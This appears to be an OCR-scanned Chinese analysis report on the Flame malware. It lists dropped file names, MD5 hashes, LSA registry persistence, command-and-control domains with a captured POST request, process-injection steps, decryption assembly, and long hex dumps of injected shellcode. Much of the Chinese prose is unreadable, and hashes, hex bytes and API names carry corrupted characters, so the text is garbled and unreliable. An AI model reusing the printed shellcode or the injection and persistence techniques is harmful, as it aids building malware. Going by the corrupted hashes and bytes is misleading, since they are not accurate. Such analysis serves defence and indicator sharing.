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msglu32.ocx
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37¢97¢908706969b2e3addf70b68dc13 (391,168 +-7%)
f0a654f7c485ae195ccf81a72fe083a2 (643,072 F7Y)
8ed38460189c51c6a0d69bdc4e66c1as (421,888 7-14)
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nteps32.0cx

rpcns4.ocx
(soapr32.0cx)

comspol32.ocx
00004784.dll
(jimmy.dll)

wusetupv.exe

DSMGR.DLL
(browse32.0cx)

boot32drv.sys
(00004069.exe)

GRbOM2.bat
Lncache.dat
Temp~mso2a0.tmp
Temp~mso2al.tmp
Temp~mso2a2.tmp
advnetcfg.ocx
advpck.dat
audfilter.dat
authcfg.dat
authpack.ocx
boot32drv.sys
ccalc32.sys
commgr32.dll
comspol32.dll
comspol32.ocx
ctrilist.dat
dmmsap.dat
domm.dat
domm2.dat

c9e00c9d94d1a790d5923b050b0bd 741 (827,392 “71%)
e66e6dd6c41ece3566f759f7bdebfa2d (602,112 Ff7)
5ecad23b3ae7365a25b11d4d608adffd
296e04abb00ea5f18hba021c34e486746 (160,768 +717)
1f9fObaa3ab56d72daab024936fdcaf3 (188,416 1)
cc54006c114d51ec47¢173baea51213d (253,952 F717)
e6ch7c89a0cae27defa0fd06952791b2 (349,596 ~-717)

(827,392 +)

20732c97ef66dd97389e219fc0182¢ch5 (634,880 “-7)
£c992e35e794947a17804451f2a8857e (483,328 F14)

1f61d280067e2564999cac20e386041c (29,928 =F77)

2afaab2840e4babafOe5fa744cd8f41f

(116,224 %)

7d49d4a9d7f0954a970d02e5e1d85b6b (458,869 =7¥H)
06a84ad28bbc9365eh9e08c697555154(49,152 )

® 2-2Flame AT FITEXHMRAEXHIIR

EF trace.Jog Tl winrt32.di

dstrlogh.dat
fmpidx.bin
indsvc32.dll
indsvc32.0cx
Imcache.dat
Itcache.dat
m3aaux.dat
m3afilter.dat
m3asound.dat
m4aaux.dat
m4afilter.dat
m4asound.dat
mbaaux.dat
mbafilter.dat
mbasound.dat
mixercfg.dat
mixerdef.dat
mlcache.dat
modevga.com
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mscrypt.dat
msglu32.ocx
mspovst.dat
mssui.drv
mssvc32.0CX
nt2cache.dat
ntaps.dat
ntcache.dat
nteps32.ocx
pcldrvx.ocx
posttab.bin
gpgaaux.dat
rccache.dat
rpcnc.dat
scaud32.exe
scsec32.exe
sdclt32.exe
secindex.dat
sndmix.drv

srcache.dat
sstab.dat
sstab0.dat
sstabl.dat
sstab10.dat
sstabl11.dat
sstab12.dat
sstab15.dat
sstab2.dat
sstab3.dat
sstab4.dat
sstab5.dat
sstab6.dat
sstab7.dat
sstab8.dat
sstab9.dat

syscache.dat
syscache3.dat
watchxb.sys
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HERPUR R F RS
SEMBHREE . X —5
M e 2 A4 R AT 4%

F RIS B Th et
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SR, TEM%EE. USB
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M
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B, BFEE AR, FEER
HoEEE S THENAZ,
MEBL SRR,

W B AL 42 D RAE B
HEEE, FMERBERGSE
22,

FH ok M Bk % & 1 B A R
25, B IEBGE ST .

B — AN I B S A
& PE X, sy i
5 OXFF fif xor 21k .

winrt32.ocx
wpab32.bat
wpgfilter.dat
~8C5FF6C.tmp
~DFO5ACS8.tmp
~DFD85D3.tmp
~DFL543.tmp
~DFL544.tmp
~DFL546.tmp
~HLV084.tmp
~HLV294.tmp
~HLVA473.tmp
~HLV751.tmp
~HLV927.tmp
~KWI1988.tmp
~KWI1989.tmp
~TFL848.tmp
~TFL849.tmp
~ZFF042.tmp
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domma3.dat mpgaaux.dat mscorest.dat wavesup3.drv ~a28.tmp
dommt.dat mpgaud.dat mscrypt.dat winconf32.0cx ~a38.tmp
~drab1.tmp ~drab2.tmp ~dra53.tmp ~dra61.tmp ~rei524.tmp
~rei525.tmp ~rf288.tmp

3 LIResth

3.1 MSSECMGR.OCX FHHir#7

U b AR — AN SR 440 msseemgr.ocx (¥ DLL SCAF, SRATRINZAHCA AT, SCF R/
N 6M, IE4TJE &R C&C Mks5as, JHF B N SRaCE R e, ERERA R N IR R A LS Lk
LA, BY JEAAHINOCKX”, 81T 5 I EARB 2R/ H B K 2 A ThBE BB AR OB I R, s
ZANDIREFHUEA B Z AR, DR EA R E R G R BMHERE. FRERE. ZuX.
fEfBess . P2, WIFLL #55. USB 2 M E BTG, FridsiE B AFIE%Windir%o\temp\ T o 1%
i RS e R R AT IS, R AR HBENBEEN R, ER e HA R RGN . I dUR
A AT BE A 0 I SR DR T IR 55 o) A i 25 A FR AT IE S — > USB 3 N BEAT AR 4 o s AL RE 8 I AT
KHRADRANER. BEEAEE, EaIFRLBRE, WHFVEEE LA RN G RO LR
ARKFEE ERAFE, BRERIABIRA, RS2 IR, Wik Lua iR K E Lua A, i
T ERIThREY e A sl 7 bR R, BA 2 M 4 AN & 75 5.
1. AHITA

1) WHEMR:

® HKLM_SYSTEM\CurrentControlSet\Control\Lsa

® AuthenticationPackages = mssecmgr.ocx

H: ZRESEBITFYLINE msseemgr.ocx K H K. ZCHBEREAN: Ysystem32%\mssecmgr.ocXo

2) XHBAT)E SR AT X

I XT146” RIRHITRBOFIMEIZIT, CA T AR IR

s MD5
%System32%\advnetcfg.ocx BB5441AF1E1741FCA600E9C433CB1550
%System32%\boot32drv.sys C81D037B723ADC43E3EE17B1EEE9D6CC
%System32%\msglu32.ocx D53B39FB50841FF163F6E9QCFD8B52C2E
%Syste32m%\nteps32.0cx C9EO0C9D94D1A790D5923B050B0BD 741
%Syste32m%\soapr32.0cx 296E04ABBOOEA5SF18BA021C34E486746
%Syste32m%%\ccalc32.sys 5AD73D2E4E33BB84155EE4B35FBEFC2B
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%Windir%\Ef_trace.log

7E%ProgramFiles%\Common Files\Microsoft Shared\MSAudio H 3% T Jy&- 1 H i fic B 15 S AT E & 8l A
i, 2% FR R BT BT AR L B I, BRI

Audcache
audfilter.dat
dstrlog.dat
Imcache.dat
ntcache.dat

mscrypt.dat

FE o Tt AR AR LA _ESCPF T BEDRIR 25 (K C B O, 2000 3 B AT — R R AT SE B Ut S rh i — B

58

[SRIARE]

SRJE SE TR E IVERAE . R BESERE LA _ESCIFRE SR R IR — K, dRJm XCEHRE,  HED AN R Zh g

PALINER S (S S

wavesup3.drv ( 3 S &I4)
wpgfilter.dat

AR <1467 G YR IC B34 AT RE 2 A7 LR SO H 3¢

4)

5)

%ProgramFiles%\Common Files\Microsoft Shared\MSSecurityMgr

%ProgramFiles%\Common Files\Microsoft Shared\MSAudio

%ProgramFiles%\Common Files\Microsoft Shared\MSAuthCtrl

%ProgramFiles%\Common Files\Microsoft Shared\MSAPackages

%ProgramFiles%\Common Files\Microsoft Shared\MSSndMix

WP ZEHEFFR

KT 2RI ERNES WM 5 — GEIR—: ¥ Mssecmgr.ocx ST )i g 22 4= 275 51

» HARA e R i) — 2 P AR A R rh — SRR R AR R Y )

EFEERPREIA— Lua HAFHREFTIRABZSHRFRS. GERKFA: A Msseemgr.ocx
S Lua BIATR I RBGIRN. 2

ZIE RIS DR EER, ARNERE. GEREERFER. #TFREE. BREFEE. PH PE
NI H SQLite BIREFMERRIEE. Bk SSH Al HTTPS P55 SIS #HE L.
R E 22 A B S 6 RN E LR BT USB FURRM BT A6 8%, SR SSH M1
HTTPS thiil5 C&C REBEREE.

2. W%BITA
Pila) Hht 1:  http://windowsupdate.microsoft.com/
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Vil Hidik 2:  http://windowsupdate.microsoft.com/windowsupdate/v6/default.aspx

i Http

% 80

il Hihik: 91.135.66.118[traffic-spot.com][traffic-spot.biz][smart-access.net][quick-net.info]

Pr: Https

Ui ;443

TREHZATIE, T 5eTiE Windows REGTFHRRFAHAL, SR)EX 1P #uhky 91.135.66.118 [ VY 4N 4
o LTS TR £ €7

~Stream Content

POST /wp-content/rss.php HTTP/1.1

ccept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Sv1)
Host: quick-net.info

ontent-Length: 77

onnection: Keep-Alive

ache-control: no-cache

UNIQUE_NUMBER=3986402201&PASSWORD=Lifesty]1e2&ACTION=1&FILE_NAME=&FILE_SIZE=0.

3-1 Post #1112

HERETE LS RSN = (= ERERL55).,
3. FERTH BB
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Load+
\\*
Rundll32.exe /‘_‘—’
Load

Mssecmgr.ocx

l Copy+
Load+
Winlogon.exe [

Load+
ﬂitep

Services.exe — Advnetcfh.ocx
Load+
WN
Boot32drv.sys

Explorer.exe

l Load+
Load+

lexplore.exe e 2 Wopefilter.dat

3-2 Xt B A MR

PR ERINEOT AR, — R AEE MR PRI, 55— AR A A B SO RIAT DOS diréiz
47 Rundl132.exe JN#k FHLHIZAT

BB NEME HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SeCEdit F1 75 % %Program
Files%s\Common  Files\Microsoft ~ Shared\MSAudio\wavesup3.drv X f & % f# # . 5 A
HKLM\System\CurrentControlSet\Control\TimeZonelnformation\StandardSize {6 4: 114.

@)% MSSecurityMgr H %, S5 A Mscrypt.dat, 78245 5 SO 657 ) 5 2 30 5 2 8] 5
1601-1-1 08:00:00, £t 1 4r#hja 5 N\ Whpdfilter.dat SCAF7E 25 145 S8 SC 1 i 4 7 1) Jo 2 40 5 5o 18] 5 %
1601-1-1 08:00:00, Z:id 1 43%¥ /245 i 5 N\ Wavesup3.drv SO 25 i) Jm 2 38 5 e 17] 5 %, 1601-1-1 08:00:00,
BN Wavesup3.drv J5 225 A\ Audcache S {426 5 N\ Audfilter.dat SCffF . SR E A FRLL T 304

® C:\Documents and Settings\Administrator\Local Settings\Temp\dat3C.tmp
C:\Documents and Settings\All Users\Local Settings\Temp\dat3C.tmp
C:\Documents and Settings\Default User\Local Settings\Temp\dat3C.tmp

C:\Documents and Settings\LocalService\Local Settings\Temp\dat3C.tmp

C:\Documents and Settings\NetworkService\Local Settings\Temp\dat3C.tmp
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® CAWINDOWS\Temp\dat3C.tmp

SRJEVENIERE Services.exe W R4t CHF Shell32.dIl SCHF, F#1HF Shell32.dll %2, #t8 Wpdfilter.dat 1)
WS IN#E) Shell32.dll Hr, FinZk Audcache SN 75 5] Shell32.dll H . FEINZk Wavesup3.drv 3, SR JEFE
i Neps32.exe /4. Comspol32.0cx. Advnetcfg.ocx. Boot32drv.sys. Msglu32.0cx, FF85 e AT R [a] 25
Kernel32.dll SCAFERIRFTA], Sy T Sl 22 4 3 sl

SR JE 1N F] Winlogon.exe HEFE i 24830 Shell32.dil SC2F, FE50EF Shell32.dil PY %, % Netps32.0cx
AT Ccalc32.sys [ 78z E] Shell32.dll H o FREATTHIET ] Sy Kernel32.d1l ST HIIT], R 1 ik 2 4 5k
(G oRIIB

I L7\ Explore.exe i#EF2 1 F & 40 S04 Shell32.d1l ST, 154 Shell32.d1l 4 25, 48 H A% lexplore.exe
HERE, 8 Wpdfilter.dat [ 25 im#k 2] Shell32.dIl H, 2R )5 Fn#k Audcache SCfF N %52 Shell32.dIl H. )15
Bl S % Wavesup3.drv SO BTN R RGN, ERMBTI RS 4%, N5 FHERR IR 45

R R AR IS . 0% EEARAS A B a0

O0x1000E3F5 proc near
test edx, edx

push esi

mov esi, eax

jbe short 0x1000E42F

push ebx

push edi

push

pop edi

sub edi, esi
0x1000E403:

lea ecx, [edi+esi]

lea eax, [ecx+0Ch]

imul eax, ecx

add eax, dword_10376F70

mov ecx, eax

shr ecx,

mov ebx, eax

shr ebx,

xor cl, bl

mov ebx, eax

shr ebx,

xor cl, bl

xor cl, al

sub [esi], cl

inc esi

dec edx

jnz short 0x1000E403
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pop edi
pop ebx
0x1000E42F:
pop esi
retn

0x1000E3F5 endp
XPZERETA A 2 M. o nlhi BT

1000E451 movzx  edx, word ptr [ebx+9]

1000E455 lea eax, [ebx+0Bh]

1000E458 mov [ebp+8], eax

1000E45B call 0x1000E3F5

1000E498 movzx  edx, word ptr [esi+12h]

1000E49C lea ebx, [esi+14h]

1000E49F mov eax, ebx

1000E4A1 call 0x1000E3F5

RS B L

BREH NS H: edx [ES FATER QK] eax [l 747 R H i an k]

PRIE : eax[ff 5 Ja -4 HR R 2 Ml ]

it B

ECX=(0xBh+n)*(0xBh+0xCh-+n)+[0x10376F70h]

R n R B I AT R AR AG  AT A BE .

CL=(M21)xor(M2)xor(M3)xor(M4)

flEHEE = InEHHE - CL

H—UE A

BRECH — 12480 arg. 1[HhE]

iR 7 F K. [word]arg.1+0x9h

fift 2 Ay B g bt [dword]arg.1+0xBh

BRI : AR 5 T E AR AR s

S

PREH — 128 arg.1[address]

R 7 K. [word]arg.1+0x12h

fif s w A B Al [dword]arg.1+0x14h
R A 5 T E R A
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S 25998 4 M e A e R IO AT H 6 L B M EncodePointer 37451 5 17k 14 B iy o (i

1.5 Duqu (RSB J7 3028400, 2448 I F F] DecodePointer fifdfai F, X REM St HLip S 0 M AR 5 4 L

VI i3/ 8 7 5 AR 5 Il SR 5 R B R B 52 B O 77 R A S B MO

M7 R Y B, 7 LT,

mov eax, [ebp-4]

mov eax, [esi+eax*4] Ilexport func name offset
add eax, [ebp+module_handle]

push [ebp+func_name_size]

mov [ebp+export_func_name], eax

push eax

call IsBadReadPtr

test eax, eax

jnz

push [ebp+func_name]

push [ebp+export_func_name]
call IstrcmpiA

test eax, eax

jz short 0x1000BE2B

3-3 BHASIRBUEE DIl XX EI R H

% E AL R 4 42 %ProgramFiles%\Common Files\Microsoft Shared il & MSSecurityMgr 32435,
I — LR E SR B b B RAR SAE R AR B R RGO H X (WINDOWS H 3.
SYSTEM32 H3t. R H3) M H SRRSO, Il A K AP ERHOR F4K Kemel32.dIl
SR, R AR BT R A (Y SO BRSO T RN E) 1 B S Kernel32.dIl ST R o A 31 B sR 0 H Y o

ZE A Sk F 5 ) A %System329%\mssecmgr.ocx. FREREEEMFRIE S E B H K, 1SS0
FHAEN:

“HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Lsa”

T ¥1“Authentication Packages™. K HAR H BN RE AR AL A&l 5. i MR EAE A E T2 A T P
S IIERF A, 4 B RBR G INEG RS, WA EIFYLS B B 1.

ORXKIRINEFE , RIDTHRIEE, EIW



/’ i 4
V pem—y G4 He
(=i * Flame IEEREDITIRES
ANTIY
{0 Arbiters (8] auditbaseabiects REG_DWORD 000000000 {0)
e el .t hcrtication Pickages REG_MULTI_SZ msv1_0[mssecmgr.ocx |
{11 Biosinfa [R¥]Bounds REG_BINARY 00 30 00 00 00 20 00 00
{7 Bootyerifical ; e
8= [R¥]crashonauditfail REG_DWORD 000000000 {0)
= 355 "o N
3 Copevicelns d.sabledomalncreds REG_DWORD 000000000 {0)
] COM Mame » evervonemcludesanonymous REG_DWORD 000000000 {a)
61 Computerlie [R¥]Fipsalgarithmpalicy REG_DWORD 000000000 {0
[R¥]Forcequest REG_DWORD 000000001 1)
I:I--D ContentInde ,
3 Contentinds | | BElfulpriviegeauditing REG_BINARY an
CrashCantre IrnpersonatePrivilegeUpgradeTooIHasRun REG_DWORD 000000001 (1)
(28]
- CriticalDevic Iimitblankpassworduse REG_DWORD 0x00000001 (1)
1] DeviceClass: Imcompatibilitylevel REG_DWORD 000000000 (0)
{20 FileSystem [@H]Ls2Pid REG_DWORD 00000020 (704)
-2 Fonkassoc [B¥]nodefaultadminawner REG_DWORD 0%00000001 £1)
-2 GraphicsDriv— | [@#]nalmhash REG_DWORD 000000000 {0
{0 GroupCrderl | [ab)atification Packages REG_MULTI_SZ scecl
-0 HAL [R¥]restrictananymous REG_DWORD 0x00000000 {0
(2 hivelist [R¥]restrictanonymaoussam REG_DWORD 0x00000001 (1)
& IDConfighs [R¥]secureBoot REG_DWORD 0x00000001 (1)
Sg Eeyl;oar;l ::c Security Packages REG_MULTI_SZ kerberos msv1_0 schannel wdigest
- evboard Lz
-3 Lsa
[l e ¥ PO

B 3-4 i&sqaoiEmREE

75 140 oL 3 77 1JERE K A2 K Explorer.exe #EFE i ik WriteProcessMemory #4 Shell Code 5 A\ £ Explorer.exe
BEFEH . JF HiBid CreateRemoteTheread bR AIfI i FE LR FEHAT ShellCode.

W RPN B, IR ERE 3 .

C:\Program Files\Common Files\Microsoft Shared\MSSecurityMgr\mscrypt.dat

SRR e ) B 9 I

ST R R EAT

FEFFH| ] OpenProcess 7T services.exe i#EFE, A4 0x174

I IS PR 2L WrriteProcessMemory [r] Services.exe 25 AN Shellcode, X &% SRS I F%, 718
W AT AR E AN B R G T AT, DAREE R A R

Sehll Code N 7%, K52y 0x82

0x55,0x8B,0xEC,0x51,0x53,0x56,0x57,0x33,0xFF,0x89,0x7D,0xFC,0xE8,0x00,0x00,0x00,
0x00,0x58,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x6A,0x64,0x59,0x48,0x49,0x89,0x45,0xFC,
0x74,0x5B,0x81,0x38,0xBA,0xBA,0x0D,0xF0,0x75,0xF1,0x8D,0x70,0x04,0x8B,0X0E,0X6A,
OxFF,0xFF,0x31,0x8B,0xD8,0xFF,0x50,0x08,0x85,0xC0,0x75,0x2C,0x8B,0x06,0x83,0x7C,
0x07,0x0C,0x00,0x74,0x0E,0xFF,0x75,0x10,0x03,0xC7,0xFF,0x75,0x0C,0xFF,0x70,0x08,
O0xFF,0x50,0x0C,0x81,0xC7,0x20,0x02,0x00,0x00,0x81,0xFF,0x00,0x55,0x00,0x00,0x72,
0xDB,0x8B,0x06,0xFF,0x30,0xFF,0x53,0x0C,0xFF,0x75,0x10,0x8B,0x06,0xFF,0x75,0X0C,
OXFF,0x75,0x08,0xFF,0x50,0x04,0x5F,0x5E,0x5B,0xC9,0xC2,0x0C,0x00,0x33,0xC0,0x40,
OXEB,0xF4

55 B Shell Code 2% T 81 i 1 I RE LA ELAEIAT

ShellCode %%, & 4 0x70c

0x55,0x8B,0xEC,0x83,0xEC,0x70,0x53,0x33,0xDB,0x56,0x8B,0x75,0x08,0x57,0x33,0xCO,
0x89,0x5D,0xA8,0x8D,0x7D,0xAC,0xAB,0xAB,0x8D,0x86,0x74,0x04,0x00,0x00,0x50,0xC6,

ORXKIRINEFE , RIDTHRIEE, $£10;|
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oy B2 Flame SR A ESITIRS

0x45,0xFA,0x00,0x89,0x5D,0xE8,0x88,0x5D,0xFB,0x89,0x5D,0xE4,0x89,0x5D,0xEC,0x89,
0x5D,0xC8,0x89,0x5D,0xD0,0x89,0x5D,0xD4,0x89,0x5D,0xBC,0x89,0x5D,0xC4,0x89,0x5D,
0xE0,0x89,0x5D,0xDC,0xC7,0x45,0xF0,0x01,0x00,0xFF,0xFF,0x89,0x9E,0x2C,0x0B,0x00,
0x00,0xFF,0x56,0x10,0x3B,0xC3,0x89,0x45,0xC0,0x75,0x0A,0xB8,0x02,0x00,0xFF,0XFF,
0xE9,0xA0,0x06,0x00,0x00,0x8D,0x86,0x81,0x04,0x00,0x00,0x50,0xFF,0x75,0xC0,0xFF,
0x56,0x1C,0x3B,0xC3,0x75,0x0A,0xB8,0x03,0x00,0xFF,0xFF,0xE9,0x85,0x06,0x00,0x00,
0x53,0x8D,0x4D,0xDC,0x51,0x6A,0x01,0x8D,0x8E,0xB6,0x04,0x00,0x00,0x51,0xFF,0x D0,
0x85,0xC0,0x75,0x0A,0xB8,0x04,0x00,0xFF,0xFF,0xE9,0x67,0x06,0x00,0x00,0x8B,0x45,
0xDC,0x89,0x45,0xAC,0x8D,0x86,0x30,0x0B,0x00,0x00,0x8B,0x78,0x3C,0x03,0xF8,0xC7,
0x45,0xA8,0x0C,0x00,0x00,0x00,0x89,0x5D,0xB0,0x0F,0xB7,0x47,0x14,0x8D,0x44,0x38,
0x18,0%x89,0x45,0xCC,0x8B,0x47,0x08,0x25,0x07,0xF8,0xFF,0xFF,0x05,0x00,0x00,0x90,
0xD6,0x3D,0x00,0x00,0x00,0x06,0x0F,0x87,0x24,0x06,0x00,0x00,0x38,0x9E,0x20,0x09,
0x00,0x00,0x8B,0x47,0x50,0x89,0%x45,0x08,0x74,0x67,0x53,0x53,0x6A,0x03,0x53,0X6A,
0x01,0x68,0x00,0x00,0x00,0x80,0x8D,0x86,0x22,0x09,0x00,0x00,0x50,0xFF,0x56,0x50,
0x83,0xF8,0xFF,0x89,0x45,0xF4,0x75,0x0A,0xB8,0x06,0x00,0xFF,0xFF,0xE9,0xF3,0x05,
0x00,0x00,0x53,0xFF,0x75,0x08,0x53,0x68,0x02,0x00,0x00,0x01,0x53,0x50,0xFF,0x56,
0x28,0xFF,0x75,0xF4,0x89,0x45,0xD8,0xFF,0x56,0x4C,0x39,0x5D,0xD8,0x75,0x0A,0x B8,
0x07,0x00,0xFF,0xFF,0xE9,0xCC,0x05,0x00,0x00,0xFF,0x75,0x08,0x53,0x53,0x6A,0x04,
O0XFF,0x75,0xD8,0xFF,0x56,0x30,0xFF,0x75,0xD8,0x89,0x45,0xF4,0xFF,0x56,0x4C,0XEB,
0x0F,0x6A,0x04,0x68,0x00,0x10,0x00,0x00,0x50,0x53,0xFF,0x56,0x04,0x89,0x45,0xF4,
0x39,0x5D,0xF4,0x75,0x0A,0xB8,0x08,0x00,0xFF,0xFF,0xE9,0x96,0x05,0x00,0x00,0x8D,
0x45,0xC4,0x50,0x6A,0x04,0xFF,0x75,0x08,0xFF,0x75,0xF4,0xFF,0x56,0x0C,0x85,0xCO0,
0x75,0x0C,0xC7,0x45,0xF0,0x09,0x00,0xFF,0xFF,0xE9,0x8D,0x04,0x00,0x00,0xFF,0x77,
0x50,0x53,0xFF,0x75,0xF4,0xFF,0x56,0x24,0xFF,0x77,0x54,0x8D,0x86,0x30,0x0B,0x00,
0x00,0x50,0xFF,0x75,0xF4,0xFF,0x56,0x20,0x83,0xC4,0x18,0x66,0x39,0x5F,0x06,0x89,
0x5D,0x08,0x76,0x35,0x0F,0xB7,0x45,0x08,0x8B,0x4D,0xCC,0x6B,0xC0,0x28,0x03,0xC1,
0xFF,0x70,0x10,0x8B,0x50,0x14,0x8B,0x40,0x0C,0x03,0x45,0xF4,0x8D,0x8E,0x30,0x0B,
0x00,0x00,0x03,0xD1,0x52,0x50,0xFF,0x56,0x20,0x83,0xC4,0x0C,0xFF,0x45,0x08,0x66,
0x8B,0x45,0x08,0x66,0x3B,0x47,0x06,0x72,0xCB,0x8B,0x45,0xF4,0x2B,0x47,0x34,0x89,
0x45,0xB8,0x0F,0x84,0x8A,0x00,0x00,0x00,0x8B,0x87,0xA0,0x00,0x00,0x00,0x03,0x45,
0xF4,0x3B,0x45,0xF4,0x75,0x0C,0xC7,0x45,0xF0,0x0A,0x00,0xFF,0xFF,0xE9,0x09,0x04,
0x00,0x00,0x8B,0x8F,0xA4,0x00,0x00,0x00,0x03,0xC8,0x3B,0xC1,0x89,0x4D,0xB4,0x73,
0x61,0x8B,0x50,0x04,0x8B,0x08,0x03,0x4D,0xF4,0x83,0xEA,0x08,0xF7,0xC2,0xXFE,0XFF,
OxFF,0xFF,0x89,0x5D,0x08,0x76,0x43,0x8B,0x55,0x08,0x0F,0xB7,0x54,0x50,0x08,0x81,
0xE2,0xFF,0x0F,0x00,0x00,0x89,0x55,0xD8,0x8B,0x55,0x08,0x0F,0xB7,0x54,0x50,0x08,
0x0F,0xB7,0xD2,0xC1,0xEA,0x0C,0x74,0x10,0x83,0xFA,0x03,0x75,0x3F,0x0F,0xB7,0x55,
0xD8,0x8B,0x5D,0xB8,0x03,0xD1,0x01,0x1A,0x8B,0x50,0x04,0xFF,0x45,0x08,0x83,0XEA,
0x08,0xD1,0xEA,0x33,0xDB,0x39,0x55,0x08,0x72,0xBD,0x03,0x40,0x04,0x3B,0x45,0x B4,
0x72,0x9F,0x8B,0x87,0x80,0x00,0x00,0x00,0x03,0x45,0xF4,0x3B,0x45,0xF4,0x75,0x18,
0xC7,0x45,0xF0,0x0C,0x00,0xFF,0xFF,0xE9,0x7F,0x03,0x00,0x00,0xC7,0x45,0xF0,0x0B,
0x00,0xFF,0xFF,0xE9,0x73,0x03,0x00,0x00,0x39,0x58,0x0C,0x0F,0x84,0x80,0x00,0x00,
0x00,0x83,0xC0,0x10,0x89,0x45,0x08,0x8B,0x45,0x08,0x83,0x38,0x00,0x74,0x70,0x83,
0x78,0xF4,0x00,0x0F,0x85,0xB9,0x00,0x00,0x00,0x8B,0x58,0xFC,0x03,0x5D,0xF4,0x53,
0xFF,0x56,0x18,0x85,0xC0,0x0F,0x84,0xB0,0x00,0x00,0x00,0x53,0xFF,0x56,0x10,0x85,

ORXKIRINEFE , RIDTHRIEE, $11:\
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0xC0,0x89,0x45,0xD8,0x0F,0x84,0xAA,0x00,0x00,0x00,0x8B,0x45,0x08,0x8B,0x18,0x03,
0x5D,0xF4,0xEB,0x29,0x8B,0x03,0x85,0xC0,0x79,0x07,0x25,0xFF,0xFF,0x00,0x00,0XEB,
0x08,0x8B,0x4D,0xF4,0x03,0xC1,0x83,0xC0,0x02,0x50,0xFF,0x75,0xD8,0xFF,0x56,0x1C,
0x85,0xC0,0x89,0x03,0x0F,0x84,0x83,0x00,0x00,0x00,0x83,0xC3,0x04,0x83,0x3B,0x00,
0x75,0xD2,0x83,0x45,0x08,0x14,0x8B,0x45,0x08,0x83,0x78,0xFC,0x00,0x75,0x88,0x33,
0xDB,0x66,0x39,0x5F,0x06,0x89,0x5D,0x08,0x0F,0x86,0xBA,0x00,0x00,0x00,0x0F,0xB7,
0x45,0x08,0x8B,0x4D,0xCC,0x6B,0xC0,0x28,0x03,0xC1,0x8B,0x48,0x24,0xF7,0xC1,0x20,
0x00,0x00,0x20,0x74,0x07,0xC7,0x45,0xC8,0x01,0x00,0x00,0x00,0x33,0xD2,0x42,0x85,
0xC9,0x79,0x03,0x89,0x55,0xD0,0xF7,0xC1,0x00,0x00,0x00,0x40,0x74,0x03,0x89,0x55,
0xD4,0x39,0x5D,0xC8,0x8B,0xCA,0x74,0x42,0x39,0x5D,0xD0,0x74,0x2E,0x6 A,0x40,0x59,
0xEB,0x49,0xC7,0x45,0xF0,0x0D,0x00,0xFF,0xFF,0xEB,0x19,0xC7,0x45,0xF0,0x0E,0x00,
O0xFF,0xFF,0xEB,0x10,0xC7,0x45,0xF0,0x0F,0x00,0xFF,0xFF,0xEB,0x07,0xC7,0x45,0xFO,
0x10,0x00,0xFF,0xFF,0x33,0xDB,0xE9,0x70,0x02,0x00,0x00,0x8B,0x4D,0xD4,0xF7,0xD9,
0x1B,0xC9,0x83,0xE1,0x10,0x83,0xC1,0x10,0xEB,0x11,0x39,0x5D,0xD4,0x74,0x0C,0x33,
0xC9,0x39,0x5D,0xD0,0x0F,0x95,0xC1,0x8D,0x4C,0x09,0x02,0x8B,0x50,0x08,0x8B,0x40,
0x0C,0x03,0x45,0xF4,0x89,0x55,0xB4,0x8D,0x55,0xC4,0x52,0x51,0xFF,0x75,0xB4,0x50,
OxFF,0x56,0x0C,0x85,0xC0,0x74,0x28,0xFF,0x45,0x08,0x66,0x8B,0x45,0x08,0x66,0x3B,
0x47,0x06,0x0F,0x82,0x46,0xFF,0xFF,0xFF,0x8B,0x 7F,0x28,0x03,0x7D,0xF4,0x89,0x 7D,
0xE0,0x75,0x18,0xC7,0x45,0xF0,0x12,0x00,0xFF,0xFF,0xE9,0x0C,0x02,0x00,0x00,0xC7,
0x45,0xF0,0x11,0x00,0xFF,0xFF,0xE9,0x00,0x02,0x00,0x00,0xFF,0xB6,0x1C,0x09,0x00,
0x00,0x33,0xFF,0x47,0x57,0xFF,0x75,0xF4,0xFF,0x55,0xEQ0,0x3B,0xC7,0x74,0x14,0x53,
0x53,0xFF,0x75,0xF4,0xFF,0x55,0xE0,0xC7,0x45,0xF0,0x13,0x00,0xFF,0xFF,0xE9,0x D8,
0x01,0x00,0x00,0x8D,0x86,0x6A,0x02,0x00,0x00,0x50,0x53,0x8D,0x45,0xA8,0x50,0x89,
0x7D,0xBC,0xFF,0x56,0x44,0x3B,0xC3,0x89,0x45,0XE8,0x75,0x0C,0xC7,0x45,0xF0,0x 14,
0x00,0xFF,0xFF,0xE9,0xB3,0x01,0x00,0x00,0x6A,0xFF,0x50,0xFF,0x56,0x48,0x85,0xCO0,
0x74,0x0C,0xC7,0x45,0xF0,0x15,0x00,0xFF,0xFF,0XE9,0x9D,0x01,0x00,0x00,0x8D,0x46,
0x60,0x50,0x53,0x68,0x1F,0x00,0x0F,0x00,0xC6,0x45,0xFB,0x01,0xFF,0x56,0x2C,0x3B,
0xC3,0x89,0x45,0xE4,0xC6,0x45,0x0B,0x00,0xBF,0x08,0x55,0x00,0x00,0x75,0x28,0x8D,
0x46,0x60,0x50,0x57,0x53,0x6A,0x04,0x8D,0x45,0xA8,0x50,0x6A,0xFF,0xC6,0x45,0x0B,
0x01,0xFF,0x56,0x28,0x3B,0xC3,0x89,0x45,0xE4,0x75,0x0C,0xC7,0x45,0xF0,0x16,0x00,
OxFF,0xFF,0xE9,0x54,0x01,0x00,0x00,0x57,0x53,0x53,0x6A,0x02,0xFF,0x75,0xE4,0xFF,
0x56,0x30,0x3B,0xC3,0x89,0x45,0xEC,0x75,0x0C,0xC7,0x45,0xF0,0x17,0x00,0xFF,0XFF,
0xE9,0x36,0x01,0x00,0x00,0x80,0x7D,0x0B,0x00,0x0F,0x84,0x01,0x01,0x00,0x00,0x57,
0x53,0xFF,0x75,0xEC,0xFF,0x56,0x24,0x83,0xC4,0x0C,0x89,0x5D,0xD0,0x8D,0xBE,0XFA,
0x04,0x00,0x00,0x57,0xFF,0x56,0x14,0x3B,0xC3,0x89,0x45,0xB4,0x74,0x3B,0xFF,0x45,
0xD0,0x83,0x7D,0xD0,0x05,0x7C,0xEC,0x53,0x6A,0x18,0x8D,0x45,0x90,0x50,0x53,0X6A,
OxFF,0xFF,0x56,0x3C,0x3D,0x00,0x00,0x00,0xC0,0x72,0x2A,0x53,0x6 A,0x18,0x8D,0x45,
0x90,0x50,0x53,0x6A,0xFF,0xFF,0x56,0x3C,0x83,0xF8,0xFF,0x77,0x18,0xC7,0x45,0xFO0,
